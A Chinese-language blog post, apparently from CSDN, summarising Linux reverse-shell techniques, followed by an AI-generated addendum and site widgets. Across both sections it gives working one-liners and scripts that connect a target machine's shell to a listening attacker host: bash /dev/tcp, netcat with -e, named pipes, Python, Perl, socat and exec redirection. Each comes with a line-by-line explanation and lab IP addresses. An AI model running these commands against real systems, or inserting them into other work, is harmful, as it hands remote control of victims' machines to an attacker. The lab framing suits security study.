Linux反弹shell方式总结

本文介绍如何通过bash、netcat及Python实现在目标系统上反弹Shell。包括基础知识、指令分析及具体操作步骤,帮助读者掌握不同场景下的反弹Shell技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

bash反弹

反弹指令:
bash -i >& /dev/tcp/ip/port 0>&1
反弹步骤:
在kail上开启7777侦听:
nc -lvp 7777
在靶机上输入反弹指令即可反弹成功

基础知识

linux下有三个标准的文件描述符:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

>&代表重定向
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

指令分析

  1. bash -i表示本地打开一个bash
  2. /dec/tcp时linux系统一个特殊的设备,打开这个文件后会自动建立一个socket以连接对应IP的端口。而>&后面加上这个远端连接就等于将本地的标准输出标准错误输出重定向到远端的连接。假如连接的IP对应端口处于listening状态,在靶机输入指令结果就会在kail上显示。

在kail上开启监听 7777端口
在这里插入图片描述
ubuntu上打开一个bash并将标准输出和错误重定位到kail的连接上。
在这里插入图片描述
此时在ubuntu上输入ls,发现已经指令和结果已经显示到kail上。
在这里插入图片描述
因为没有将标准输入重定向到kail中故在kail中输入指令无法得到结果。
在这里插入图片描述

  1. 而0>&1则代表将标准输入重定向到标准输出,由2.可知标准输出已经重定向到远程,故可在远端输入指令,同时在远端显示指令输出的内容。
    输入bash -i >& /dev/tcp/ip/port 0>&1将输入流重定位后,kail可输入指令并返回结果。
    在这里插入图片描述
    0>&2的效果也相同,因为标准错误输出也已经重定位到了kail上。

netcat反弹

nc反弹shell的前提条件是靶机上需要支持nc命令,且根据nc版本的不同反弹的指令也略有差异。

nc -e反弹

假如nc上有 -e 命令,可用nc -h查看
反弹指令:nc -e /bin/bash 192.168.169.128 7777
反弹指令的意思是nc建立连接后可以执行-e后面的文件/bin/bash即可以执行shell指令。
在这里插入图片描述

使用管道符反弹

假如nc不支持 -e 指令就要使用linux的管道符来帮助反弹shell

管道符 | 可理解为管道符前的输出经过管道符传输给了管道符后当作输入。

在kail上开启7777和8888的端口。
在ubuntu输入反弹指令:nc 192.168.169.128 7777|/bin/bash|192.168.169.128 8888

在这里插入图片描述
在这里插入图片描述
此时在7777监听端口输入的指令会传到ubuntu中被/bin/bash执行,输出的结果又会传到8888监听端口中显示
在这里插入图片描述

python反弹

在kail上开启7777端口监听
反弹指令:

python3 -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.169.128',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i'])"

在这里插入图片描述
在这里插入图片描述

指令分析

# 导入所需要的os,socket,subprocess包
"import os,socket,subprocess;
# 创建一个tcp套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
# 与目标ip 端口号建立tcp连接
s.connect(('192.168.169.128',7777));
# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。
# 分别将标准输入,标准输出,标准错误输出重定向到远端的连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
# 打开一个子进程以-i 交互的方式执行
p=subprocess.call(['/bin/bash','-i'])"

未完待续…

### 实现反弹Shell的多种方法 在Linux系统中,可以从目标主机发起反弹Shell连接到另一台Linux设备。以下是几种常见的实现方式: #### 1. 使用 `bash` 发起反弹Shell 通过 `bash` 的 `/dev/tcp` 功能可以轻松实现反弹Shell。命令如下: ```bash bash -i >& /dev/tcp/目标IP/端口 0>&1 ``` 例如,如果目标Linux主机的IP地址为 `192.168.1.100`,端口为 `4444`,则命令为: ```bash bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 ``` 这会将当前主机的Shell反弹到目标Linux主机上[^2]。 #### 2. 使用 `nc`(Netcat)实现反弹Shell `nc` 是一种强大的网络工具,可以通过它实现反弹Shell。目标主机需要监听指定端口。命令如下: ```bash nc -e /bin/bash 目标IP 端口 ``` 例如: ```bash nc -e /bin/bash 192.168.1.100 4444 ``` 需要注意的是,某些系统可能禁用了 `-e` 参数,此时可以使用以下替代方案: ```bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc 目标IP 端口 > /tmp/f ``` 例如: ```bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc 192.168.1.100 4444 > /tmp/f ``` 这种方式适用于无法直接使用 `-e` 参数的情况[^5]。 #### 3. 使用 `perl` 脚本实现反弹Shell Perl 脚本也可以用于实现反弹Shell。示例代码如下: ```perl use Socket; $IP = "目标IP"; $PORT = 端口; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")); connect(SOCKET, sockaddr_in($PORT, inet_aton($IP))); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); exec("/bin/bash") or exec("/bin/sh"); ``` 例如,如果目标IP为 `192.168.1.100`,端口为 `4444`,则脚本中的 `$IP` 和 `$PORT` 需要相应设置[^1]。 #### 4. 使用 `python` 实现反弹Shell Python 提供了简洁的反弹Shell实现方式。示例代码如下: ```python import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("目标IP", 端口)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/bash", "-i"]) ``` 例如,如果目标IP为 `192.168.1.100`,端口为 `4444`,则需要替换 `"目标IP"` 和 `端口` 的值[^3]。 #### 5. 使用 `socat` 实现反弹Shell `socat` 是一种功能强大的双向通信工具,可以用来实现反弹Shell。命令如下: ```bash socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:目标IP:端口 ``` 例如: ```bash socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444 ``` 这种方式适用于支持 `socat` 的环境[^3]。 #### 6. 使用 `exec` 和重定向实现反弹Shell 通过文件描述符和重定向,可以实现更复杂的反弹Shell。示例命令如下: ```bash exec 5<>/dev/tcp/目标IP/端口; cat <&5 | while read line; do $line 2>&5 >&5; done ``` 例如: ```bash exec 5<>/dev/tcp/192.168.1.100/4444; cat <&5 | while read line; do $line 2>&5 >&5; done ``` 这种方式适用于受限环境中[^4]。 ### 注意事项 - 在目标Linux主机上需要确保目标端口已开启监听。例如,使用以下命令监听端口: ```bash nc -nvlp 端口 ``` - 确保目标主机和攻击机之间的网络是连通的。 - 不同的Linux发行版可能对某些工具的支持程度不同,请根据实际情况选择合适的工具。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值